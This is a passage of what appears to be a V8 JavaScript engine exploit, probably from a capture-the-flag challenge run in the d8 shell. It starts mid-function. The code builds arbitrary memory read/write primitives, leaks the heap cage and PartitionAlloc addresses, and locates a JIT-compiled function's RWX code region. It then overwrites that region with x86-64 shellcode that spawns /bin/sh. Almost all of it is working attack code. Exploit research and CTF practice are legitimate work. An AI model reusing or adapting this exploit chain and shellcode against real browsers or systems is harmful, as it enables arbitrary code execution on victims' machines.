    const val1 = ((0x00000000_ffffffffn & ptr >> 32n)) | (0x00000010_00000000n)
    backing[0x14] = itof(val0);
    backing[0x15] = itof(val1);
}

function read_qword(addr) {
    swap_buf_ptr(addr);
    const arbwrite_u64arr = new BigUint64Array(arbwrite_arraybuf);
    return arbwrite_u64arr[0];
}
function write_qword(addr, val) {
    swap_buf_ptr(addr);
    const arbwrite_u64arr = new BigUint64Array(arbwrite_arraybuf);
    arbwrite_u64arr[0] = val;
}

const ptalloc_leak = ftoi(read_arr(oob_array, 0x157fda));
const cage_base = read_qword(ptalloc_leak + 8n) - 0x2000000n;
print("[+] cage base: " + hex(cage_base))

function jitme() {
    return [1.1, 2.2, 3.3, 4.4];
}

% PrepareFunctionForOptimization(jitme);
jitme();
% OptimizeFunctionOnNextCall(jitme);
jitme();

let partition_alloc = read_qword(cage_base + 8n) - 0x8380n;
print("[+] partition alloc: " + hex(partition_alloc));
let code_ptr_table = read_qword(partition_alloc + 0x6280n);
print("[+] code ptr table: " + hex(code_ptr_table));
let code_obj = -1;

for (let i = 0x100n; i < 0x8000n; i += 8n) {
    const entry = read_qword(code_ptr_table + i);
    if (entry == 0xffff00000000135cn) {
        code_obj = read_qword(code_ptr_table + i - 8n) >> 16n;
        break;
    }
}
print("[+] code obj: " + hex(code_obj));
let rwx_addr = read_qword(code_obj + 0x14n);
print("[+] rwx addr: " + hex(rwx_addr));

var shellcode = [
    0x6e69622fb848686an,
    0xe7894850732f2f2fn,
    0x2434810101697268n,
    0x6a56f63101010101n,
    0x894856e601485e08n,
    0x050f583b6ad231e6n
];

for (let i = 0n; i < shellcode.length; i++) {
    write_qword(rwx_addr + i * 8n, shellcode[i])
}
print("[+] get shell");
jitme();